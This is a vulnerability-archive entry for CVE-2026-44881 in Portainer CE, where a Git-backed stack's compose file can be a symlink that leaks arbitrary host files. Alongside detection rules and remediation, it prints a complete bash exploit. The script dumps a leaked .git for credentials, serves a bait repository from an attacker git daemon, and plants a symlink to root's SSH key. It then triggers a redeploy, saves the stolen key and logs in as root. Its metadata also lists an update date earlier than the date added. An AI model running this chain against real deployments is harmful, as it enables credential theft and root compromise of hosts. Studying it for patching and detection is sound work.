PoC Archive PoC Archive
CVE-2026-44881 category: cloud CVSS 9.9 (CRITICAL)
Patched

Portainer Git-Backed Stack Symlink Injection to Arbitrary Host File Read (CVE-2026-44881)

Published: 2026-11-27 • Researcher: Ali Dak (GitHub: 0xdak)

Target software Portainer Community Edition (Portainer CE), Git-backed stack deployment
Affected versions 2.33.0 through 2.33.7, 2.39.0 through 2.39.1, and 2.40.x. Fixed in 2.33.8, 2.39.2 and 2.41.0
Status Weaponized (complete end-to-end exploit script with recorded demo output on the upstream side; not executed while preparing this entry)
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-44881 (GHSA-rpgq-m5fp-32wr)
Category
cloud
Affected product
Portainer Community Edition (Portainer CE), Git-backed stack deployment
Affected versions
2.33.0 through 2.33.7, 2.39.0 through 2.39.1, and 2.40.x. Fixed in 2.33.8, 2.39.2 and 2.41.0
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-06-16 (upstream commit 7f57440, “CVE-2026-44881 — Portainer Git symlink → arbitrary host file read PoC”)
Author / ResearcherAli Dak (GitHub: 0xdak)
CVE / AdvisoryCVE-2026-44881 (GHSA-rpgq-m5fp-32wr)
Categorycloud
SeverityCritical
CVSS Score9.9 (CVSSv3.1 base score, NVD; EPSS 0.00585 in the harvested record)
StatusWeaponized (complete end-to-end exploit script with recorded demo output on the upstream side; not executed while preparing this entry)
TagsArbitrary file read, symlink, Git, Portainer, Docker, Kubernetes, CWE-59, CWE-200, authenticated, stack deployment
RelatedN/A

Affected Target

FieldValue
Software / SystemPortainer Community Edition (Portainer CE), Git-backed stack deployment
Versions Affected2.33.0 through 2.33.7, 2.39.0 through 2.39.1, and 2.40.x. Fixed in 2.33.8, 2.39.2 and 2.41.0
Language / PlatformGo (Portainer server, go-git v5); Linux containers, Docker Swarm, Kubernetes and ACI backends
Authentication RequiredYes — any authenticated user granted rights to create or update a Git-backed stack (the default configuration)
Network Access RequiredYes — HTTP(S) access to the Portainer API, plus a Git endpoint the Portainer server can reach

Summary

Portainer Community Edition clones Git repositories when it creates or updates a Git-backed stack, and go-git converts a Git blob entry with mode 0120000 into a real operating-system symlink on disk. The only path Portainer refuses to materialize as a symlink is .gitmodules, so docker-compose.yml or any other stack entry point can become a symlink pointing outside the cloned repository. The GET /api/stacks/{id}/file endpoint then reads that stack entry point with os.ReadFile, which follows the symlink transparently and returns the target file’s contents to the caller. Any authenticated user with stack creation rights can therefore read arbitrary files reachable by the Portainer process, which on typical deployments runs as root and exposes the Portainer database, Kubernetes service-account tokens, Swarm secrets and bind-mounted host keys.

Vulnerability Details

Root Cause

CWE-59 (link following) compounded by CWE-200 (information exposure). Portainer deploys Git-backed stacks by cloning the remote repository with go-git v5. During the checkout, go-git turns every Git tree entry with mode 0o120000 into a real filesystem symlink through os.Symlink. The only entry name Portainer blocks from becoming a symlink is .gitmodules; every other path, including the stack entry point named in ComposeFile, is created as a symlink without validation of where it points.

The second half is in the read path. Service.GetFileContent in api/filesystem/filesystem.go reads the stack entry point with os.ReadFile, and that call follows OS symlinks. JoinPaths rejects ../ sequences in the request-supplied path string, but it never calls filepath.EvalSymlinks, so a symlink that already exists on disk resolves happily to its target. Portainer’s go-billy worktree abstraction chroot-jails absolute symlink targets, so the malicious symlink must use a relative target (for example ../../../mnt/host/root/.ssh/id_rsa) that escapes the clone directory.

Attack Vector

An authenticated user with stack-create rights POSTs to /api/stacks/create/standalone/repository with a RepositoryURL under attacker control and a clean docker-compose.yml that passes validation. Once the stack exists, the attacker pushes a second commit that replaces docker-compose.yml with a relative symlink to the desired file and calls PUT /api/stacks/{id}/git/redeploy. The redeploy clones the new commit and the working tree is overwritten before the compose validator rejects the non-YAML content, so the response contains a validation error even though the symlink is already on disk. A final GET /api/stacks/{id}/file reads the entry point and returns the symlink target’s contents.

Impact

Arbitrary read of any file the Portainer process can reach, without shell access. Because Portainer normally runs as root to access the Docker socket, the practical reach includes /data/portainer.db (BoltDB holding every user password hash and API token), Kubernetes service-account tokens under /var/run/secrets/kubernetes.io/serviceaccount/, Docker Swarm secrets under /run/secrets/, and, where operators bind-mount the host filesystem for monitoring, host files such as /etc/shadow and /root/.ssh/id_rsa. The archived exploit chains the read into SSH access as root in its lab, so the confidentiality bug can become full host compromise.

Environment / Lab Setup

Output
OS:          Linux host with Docker or Podman
Target:      Portainer CE 2.33.0–2.33.7, 2.39.0–2.39.1 or 2.40.x on HTTP port 9000.
             The upstream lab also exposes a deliberately leaked .git on port 80 that
             contains low-privilege Portainer credentials, and bind-mounts the host
             filesystem read-only at /mnt/host inside the Portainer container.
Attacker:    Linux attacker host on the same network as the target
Tools:       bash, curl, jq, git (including git daemon), ssh; optional git-dumper
             for recovering credentials from the leaked .git directory

Setup Steps

Shell script
1
2
3
4
docker run -d --name portainer -p 8000:8000 -p 9000:9000 \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v portainer_data:/data \
  portainer/portainer-ce:2.33.7

Proof of Concept

Step-by-Step Reproduction

  1. Recover or supply low-privilege credentials — the script dumps an exposed /.git on port 80 and extracts trial credentials from history, or accepts them with -u/-P.

    Shell script
    1
    
    ./exploit.sh -t 192.168.1.27
  2. Authenticate to Portainer and read the JWT and the first Docker endpoint ID.

    Shell script
    1
    2
    3
    
    curl -s -X POST "http://TARGET:9000/api/auth" \
      -H 'Content-Type: application/json' \
      -d '{"Username":"lowuser","Password":"lowuser-c0ntain3r-2026"}'
  3. Host the bait repository containing a clean docker-compose.yml and start git daemon on port 9418.

  4. Create a Git-backed stack pointing at the attacker repository, so validation passes and the stack persists.

    Shell script
    1
    2
    3
    
    curl -s -X POST "http://TARGET:9000/api/stacks/create/standalone/repository?endpointId=1" \
      -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \
      -d '{"Name":"leak-1","RepositoryURL":"git://ATTACKER:9418/repo.git","RepositoryReferenceName":"refs/heads/master","ComposeFile":"docker-compose.yml","RepositoryAuthentication":false}'
  5. Replace docker-compose.yml with a relative symlink to the target file and push.

    Shell script
    1
    2
    3
    
    rm -f docker-compose.yml
    ln -s ../../../mnt/host/root/.ssh/id_rsa docker-compose.yml
    git add -A && git commit -m evil && git push origin master
  6. Trigger a redeploy. The response is expected to be a validation error; the working tree has already been overwritten.

    Shell script
    1
    2
    3
    
    curl -s -X PUT "http://TARGET:9000/api/stacks/1/git/redeploy?endpointId=1" \
      -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \
      -d '{"env":[],"prune":false,"pullImage":false}'
  7. Read the symlink target.

    Shell script
    1
    2
    
    curl -s -H "Authorization: Bearer $JWT" \
      "http://TARGET:9000/api/stacks/1/file"

Exploit Code

See exploit.sh in this folder for the complete end-to-end chain (credential recovery, Git daemon, stack creation, symlink commit, redeploy, file read and optional SSH).

Shell script
1
2
3
4
5
6
7
8
9
POST /api/stacks/create/standalone/repository?endpointId=1
{"Name":"leak-1","RepositoryURL":"git://ATTACKER:9418/repo.git",
 "RepositoryReferenceName":"refs/heads/master",
 "ComposeFile":"docker-compose.yml","RepositoryAuthentication":false}

PUT /api/stacks/1/git/redeploy?endpointId=1
{"env":[],"prune":false,"pullImage":false}

GET /api/stacks/1/file

Expected Output

Output
[+] Stack ID: 1
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops

The redeploy error is a success signal: the compose validator rejects the SSH key as invalid YAML only after the clone has already replaced the working tree file.

Detection & Indicators of Compromise

Output
POST /api/stacks/create/standalone/repository   <- RepositoryURL points at an unexpected git:// host
PUT  /api/stacks/<id>/git/redeploy              <- response "stack config file is invalid"
GET  /api/stacks/<id>/file                      <- immediately after the failed redeploy

find /var/lib/docker/volumes -type l -name 'docker-compose.y*ml' -printf '%p -> %l\n'

SIEM / IDS rule (example):

Output
alert http any any -> any any (msg:"Portainer stack symlink file-read chain"; \
  flow:to_server; content:"/api/stacks/create/standalone/repository"; http_uri; \
  content:"git://"; http_client_body; sid:90044881;)

Remediation

ActionDetail
PatchUpgrade Portainer CE to 2.33.8 (LTS), 2.39.2 (LTS) or 2.41.0 (STS)
WorkaroundRestrict stack creation from Git repositories to trusted administrators; require review of repository contents before deployment
Config HardeningRun Portainer as a non-root user where the Docker socket proxy allows it, avoid bind-mounting the host filesystem into the container, and keep the API off untrusted networks
DetectionAlert on stack creation from git:// or unapproved repositories and on redeploy requests that fail compose validation immediately followed by a stack file read

References

Notes

Verdict: genuine exploit. The repository contains a single, complete bash exploit that performs the vulnerability end to end: it creates a Git-backed stack, commits a relative symlink as the compose entry point, forces a re-clone through the redeploy endpoint, and reads the target file through /api/stacks/{id}/file. It is not a scanner, checker, template or analysis-only write-up. It is not malware, C2, persistence or evasion tooling; the optional final SSH step merely consumes the leaked key against the lab host.

License: MIT, as declared in the upstream README. The repository ships no LICENSE file, so the declaration is the only license statement available.

Limitations: (1) a low-privilege authenticated Portainer account with stack-create rights is required; (2) the malicious symlink must use a relative target because go-billy chroot-jails absolute symlinks; (3) the archived script assumes the upstream lab layout, including the leaked .git on port 80, the /:/mnt/host:ro bind mount and a git daemon reachable from the server, so the target path inside the symlink must be edited for other deployments; (4) the redeploy step intentionally produces a validation error, and the exploit depends on the clone landing before validation; (5) the script was reviewed statically and was not executed against a live target while preparing this entry.

exploit.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
#!/usr/bin/env bash
# =============================================================================
# DISCLAIMER — FOR AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.
# This exploit targets CVE-2026-44881, a Git symlink injection in Portainer's
# Git-backed stack deployment flow. Use it only against systems you own or have
# explicit written permission to test. Running it against systems you do not
# own may be illegal in your jurisdiction. The code is archived unmodified for
# defensive research; it is not executed by this repository.
# =============================================================================
# CVE-2026-44881 — Portainer Git Symlink Injection → Arbitrary Host File Read
#
# End-to-end exploit:
#   1. dump leaked .git from port 80 → recover Portainer trial creds
#   2. log in as the trial user
#   3. stand up a malicious Git repo on a local port
#   4. create a Git-backed Portainer stack (clean YAML, passes validation)
#   5. push a commit replacing docker-compose.yml with a symlink to /root/.ssh/id_rsa
#   6. trigger the stack git/redeploy endpoint
#   7. read /api/stacks/<id>/file → the symlink target's content
#   8. (optional) SSH in with the leaked key
#
# Affected: Portainer CE 2.33.0–2.33.7, 2.39.0–2.39.1, 2.40.x (fix: 2.33.8 / 2.39.2 / 2.41.0)
# Reference: https://github.com/portainer/portainer/security/advisories/GHSA-rpgq-m5fp-32wr
#
# Usage:
#   ./exploit.sh -t <target_ip> [-a <attacker_ip>] [-l <leak_path>] [-p <portainer_port>]
#                [-g <git_port>] [-w <workdir>] [--no-ssh] [--no-creds-from-git]
#                [-u <user>] [-P <pass>]
#
# Requires: bash, curl, jq, git, git-daemon, ssh, python3 (only if --no-creds-from-git uses pip-installed git-dumper)
# Optional: git-dumper (will fall back to manual dumb-HTTP enumeration if absent)

set -euo pipefail

# ─── defaults ────────────────────────────────────────────────────────────────
TARGET=""
ATTACKER=""
LEAK_PATH="/.git"
PORTAINER_PORT="9000"
GIT_PORT="9418"
WORKDIR=""
DO_SSH=1
GET_CREDS_FROM_GIT=1
TRIAL_USER=""
TRIAL_PASS=""

# ─── pretty logging ──────────────────────────────────────────────────────────
c_grn=$'\033[32m'; c_red=$'\033[31m'; c_ylw=$'\033[33m'; c_cyn=$'\033[36m'; c_off=$'\033[0m'
log()  { printf '%s[+]%s %s\n' "$c_grn" "$c_off" "$*"; }
warn() { printf '%s[!]%s %s\n' "$c_ylw" "$c_off" "$*" >&2; }
die()  { printf '%s[-]%s %s\n' "$c_red" "$c_off" "$*" >&2; exit 1; }
step() { printf '\n%s=== %s ===%s\n' "$c_cyn" "$*" "$c_off"; }

usage() {
    sed -n '2,20p' "$0"
    exit 0
}

# ─── argparse ────────────────────────────────────────────────────────────────
while [[ $# -gt 0 ]]; do
    case $1 in
        -t|--target)             TARGET="$2"; shift 2 ;;
        -a|--attacker)           ATTACKER="$2"; shift 2 ;;
        -l|--leak-path)          LEAK_PATH="$2"; shift 2 ;;
        -p|--portainer-port)     PORTAINER_PORT="$2"; shift 2 ;;
        -g|--git-port)           GIT_PORT="$2"; shift 2 ;;
        -w|--workdir)            WORKDIR="$2"; shift 2 ;;
        --no-ssh)                DO_SSH=0; shift ;;
        --no-creds-from-git)     GET_CREDS_FROM_GIT=0; shift ;;
        -u|--user)               TRIAL_USER="$2"; shift 2 ;;
        -P|--pass)               TRIAL_PASS="$2"; shift 2 ;;
        -h|--help)               usage ;;
        *)                       die "unknown flag: $1" ;;
    esac
done

[[ -n "$TARGET" ]] || die "target IP required (-t)"
[[ -n "$WORKDIR" ]] || WORKDIR="$(mktemp -d -t cve44881-XXXXXX)"

# Auto-detect attacker IP if not given (pick the first non-loopback IPv4)
if [[ -z "$ATTACKER" ]]; then
    ATTACKER=$(ip -4 addr show 2>/dev/null | grep -oP '(?<=inet )\d+\.\d+\.\d+\.\d+' | grep -v '^127\.' | head -1)
    [[ -n "$ATTACKER" ]] || die "could not auto-detect attacker IP; pass -a <ip>"
fi

# Sanity check dependencies
for bin in curl jq git ssh; do
    command -v "$bin" >/dev/null || die "missing dependency: $bin"
done
if ! command -v git-daemon >/dev/null && ! git daemon --help >/dev/null 2>&1; then
    warn "git daemon not detected — try: sudo apt install git-daemon-run"
fi

log "Target          : http://${TARGET}:${PORTAINER_PORT}"
log "Attacker IP     : ${ATTACKER}"
log "Workdir         : ${WORKDIR}"

# ─── stage 1: recover credentials from leaked .git ───────────────────────────
if [[ $GET_CREDS_FROM_GIT -eq 1 ]]; then
    step "Stage 1 — dump leaked ${LEAK_PATH} and recover creds"

    GITDUMP_DIR="${WORKDIR}/leaked"
    rm -rf "$GITDUMP_DIR"

    if command -v git-dumper >/dev/null; then
        log "git-dumper found, running it..."
        git-dumper "http://${TARGET}${LEAK_PATH}/" "$GITDUMP_DIR" 2>&1 | tail -3
    else
        log "git-dumper not found; manual dumb-HTTP enumeration..."
        mkdir -p "$GITDUMP_DIR/.git"
        # Fetch the canonical files git needs to be a valid working dir
        for f in HEAD config description \
                 info/refs info/exclude \
                 logs/HEAD \
                 refs/heads/master refs/heads/main \
                 objects/info/packs \
                 packed-refs; do
            mkdir -p "$GITDUMP_DIR/.git/$(dirname "$f")"
            curl -fsS -o "$GITDUMP_DIR/.git/$f" "http://${TARGET}${LEAK_PATH}/$f" 2>/dev/null || true
        done

        # Discover the head commit + walk back through parents to fetch loose objects.
        # This is a minimal git-dumper — handles the common loose-object case our lab uses.
        fetch_object() {
            local sha="$1" prefix="${1:0:2}" rest="${1:2}"
            local out="$GITDUMP_DIR/.git/objects/$prefix/$rest"
            [[ -f "$out" ]] && return 0
            mkdir -p "$(dirname "$out")"
            curl -fsS -o "$out" "http://${TARGET}${LEAK_PATH}/objects/$prefix/$rest" 2>/dev/null || rm -f "$out"
            [[ -f "$out" ]]
        }

        cd "$GITDUMP_DIR"
        head_ref=$(cat .git/HEAD | sed -n 's|^ref: ||p')
        head_sha=""
        [[ -f ".git/$head_ref" ]] && head_sha=$(cat ".git/$head_ref" | tr -d '\n\r ')
        [[ -z "$head_sha" && -f ".git/packed-refs" ]] && \
            head_sha=$(awk -v r="$head_ref" '$2==r{print $1}' .git/packed-refs)

        if [[ -z "$head_sha" ]]; then
            warn "could not resolve HEAD ref — install git-dumper for robust dumping"
            cd - >/dev/null
        else
            # Walk objects: BFS from HEAD commit → tree → parents recursively
            queue=("$head_sha")
            seen=""
            while [[ ${#queue[@]} -gt 0 ]]; do
                sha="${queue[0]}"; queue=("${queue[@]:1}")
                [[ ",$seen," == *",$sha,"* ]] && continue
                seen="$seen,$sha"
                fetch_object "$sha" || continue
                # Try to parse it
                type=$(git -C "$GITDUMP_DIR" cat-file -t "$sha" 2>/dev/null || true)
                case "$type" in
                    commit)
                        for child in $(git -C "$GITDUMP_DIR" cat-file -p "$sha" 2>/dev/null \
                                       | awk '/^tree /{print $2} /^parent /{print $2}'); do
                            queue+=("$child")
                        done ;;
                    tree)
                        for child in $(git -C "$GITDUMP_DIR" ls-tree -r "$sha" 2>/dev/null \
                                       | awk '{print $3}'); do
                            queue+=("$child")
                        done ;;
                esac
            done
            cd - >/dev/null
        fi
    fi

    # Validate the dump
    if ! git -C "$GITDUMP_DIR" log --oneline >/dev/null 2>&1; then
        die "git dump incomplete; install git-dumper (pipx install git-dumper) and retry"
    fi
    log "git history:"
    git -C "$GITDUMP_DIR" log --oneline | sed 's/^/    /'

    # Pluck creds out of any onboarding.env in history (current or removed)
    env_blob=$(git -C "$GITDUMP_DIR" log --all -p -- onboarding.env 2>/dev/null \
               | grep -E '^\+(PORTAINER|TRIAL|USER|PASS|.*USER=|.*PASS=)' || true)
    TRIAL_USER=$(printf '%s\n' "$env_blob" | grep -oE 'TRIAL_USER=.*' | head -1 | cut -d'=' -f2- | tr -d '\r')
    TRIAL_PASS=$(printf '%s\n' "$env_blob" | grep -oE 'TRIAL_PASS=.*' | head -1 | cut -d'=' -f2- | tr -d '\r')
    [[ -n "$TRIAL_USER" && -n "$TRIAL_PASS" ]] || die "could not extract creds from .git history"
    log "Recovered creds: ${TRIAL_USER} / ${TRIAL_PASS}"
fi

[[ -n "$TRIAL_USER" && -n "$TRIAL_PASS" ]] || die "no credentials available — pass -u/-P or enable --no-creds-from-git=0"

# ─── stage 2: Portainer auth ─────────────────────────────────────────────────
step "Stage 2 — Portainer auth"
JWT=$(curl -s -X POST "http://${TARGET}:${PORTAINER_PORT}/api/auth" \
    -H 'Content-Type: application/json' \
    -d "{\"Username\":\"${TRIAL_USER}\",\"Password\":\"${TRIAL_PASS}\"}" | jq -r .jwt)
[[ -n "$JWT" && "$JWT" != "null" ]] || die "login failed for ${TRIAL_USER}"
log "JWT: ${JWT:0:32}..."

ENDPOINT_ID=$(curl -s -H "Authorization: Bearer $JWT" \
    "http://${TARGET}:${PORTAINER_PORT}/api/endpoints" | jq -r '.[0].Id // empty')
[[ -n "$ENDPOINT_ID" ]] || die "no Docker endpoint visible to ${TRIAL_USER}"
log "Endpoint ID: ${ENDPOINT_ID}"

# ─── stage 3: stand up the bait git repo ─────────────────────────────────────
step "Stage 3 — host the bait Git repo on git://${ATTACKER}:${GIT_PORT}/repo.git"
REPO_BASE="${WORKDIR}/git"
rm -rf "$REPO_BASE"
mkdir -p "$REPO_BASE"
cd "$REPO_BASE"
git init -q --bare repo.git
git clone -q repo.git work
cd work
cat > docker-compose.yml <<'YAML'
services:
  hi:
    image: hello-world
YAML
git add docker-compose.yml
git -c user.email=e@e -c user.name=e commit -q -m clean
git push -q origin master

cd "$REPO_BASE"
# Kill any previous git daemon on this port we may have left running
pkill -f "git-daemon.*--port=${GIT_PORT}" 2>/dev/null || true
git daemon --base-path="$REPO_BASE" --export-all --reuseaddr --port="${GIT_PORT}" \
    --listen=0.0.0.0 --detach 2>/dev/null &
DAEMON_PID=$!
sleep 1
log "git daemon up (pid ${DAEMON_PID})"

# ─── stage 4: create stack with clean YAML (validation passes) ───────────────
step "Stage 4 — create the Git-backed stack (clean YAML)"
STACK_NAME="leak-$RANDOM"
curl -s -X POST "http://${TARGET}:${PORTAINER_PORT}/api/stacks/create/standalone/repository?endpointId=${ENDPOINT_ID}" \
    -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \
    -d "{\"Name\":\"${STACK_NAME}\",\"RepositoryURL\":\"git://${ATTACKER}:${GIT_PORT}/repo.git\",\"RepositoryReferenceName\":\"refs/heads/master\",\"ComposeFile\":\"docker-compose.yml\",\"RepositoryAuthentication\":false}" \
    >/dev/null

SID=$(curl -s -H "Authorization: Bearer $JWT" "http://${TARGET}:${PORTAINER_PORT}/api/stacks" \
      | jq -r ".[] | select(.Name==\"${STACK_NAME}\") | .Id")
[[ -n "$SID" ]] || die "stack creation failed (could not find ${STACK_NAME} in list)"
log "Stack ID: ${SID}"

# ─── stage 5: replace docker-compose.yml with symlink, push, redeploy ────────
step "Stage 5 — push symlink commit + trigger redeploy (validation will fail, on disk is overwritten)"
cd "$REPO_BASE/work"
rm -f docker-compose.yml
ln -s ../../../mnt/host/root/.ssh/id_rsa docker-compose.yml
git add -A
git -c user.email=e@e -c user.name=e commit -q -m evil
git push -q origin master

redeploy_resp=$(curl -s -X PUT "http://${TARGET}:${PORTAINER_PORT}/api/stacks/${SID}/git/redeploy?endpointId=${ENDPOINT_ID}" \
    -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \
    -d '{"env":[],"prune":false,"pullImage":false}')
log "redeploy response: ${redeploy_resp}"

# ─── stage 6: leak the file ──────────────────────────────────────────────────
step "Stage 6 — GET /api/stacks/${SID}/file"
KEY_OUT="${WORKDIR}/stolen_id_rsa"
curl -s -H "Authorization: Bearer $JWT" \
    "http://${TARGET}:${PORTAINER_PORT}/api/stacks/${SID}/file" \
    | jq -r .StackFileContent > "$KEY_OUT"
chmod 600 "$KEY_OUT"

if ! grep -q 'PRIVATE KEY' "$KEY_OUT"; then
    warn "leak output doesn't look like an SSH key — dumping first 5 lines:"
    head -5 "$KEY_OUT" >&2
    die "leak failed"
fi
log "leaked private key saved to ${KEY_OUT}"
head -1 "$KEY_OUT"
echo "..."
tail -1 "$KEY_OUT"

# ─── stage 7: SSH in (optional) ──────────────────────────────────────────────
if [[ $DO_SSH -eq 1 ]]; then
    step "Stage 7 — SSH in as root with leaked key"
    ssh -i "$KEY_OUT" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
        -o LogLevel=ERROR root@"${TARGET}" \
        'echo "=== id ==="; id; echo "=== hostname ==="; hostname; echo "=== flag ==="; cat /root/proof.txt 2>/dev/null || echo "(no /root/proof.txt)"' \
        || warn "ssh failed (lab may require non-default port or different user)"
fi

step "Done — exploit complete"
log "private key:  ${KEY_OUT}"
log "interactive:  ssh -i ${KEY_OUT} -o StrictHostKeyChecking=no root@${TARGET}"
log "cleanup:      kill ${DAEMON_PID}; rm -rf ${WORKDIR}"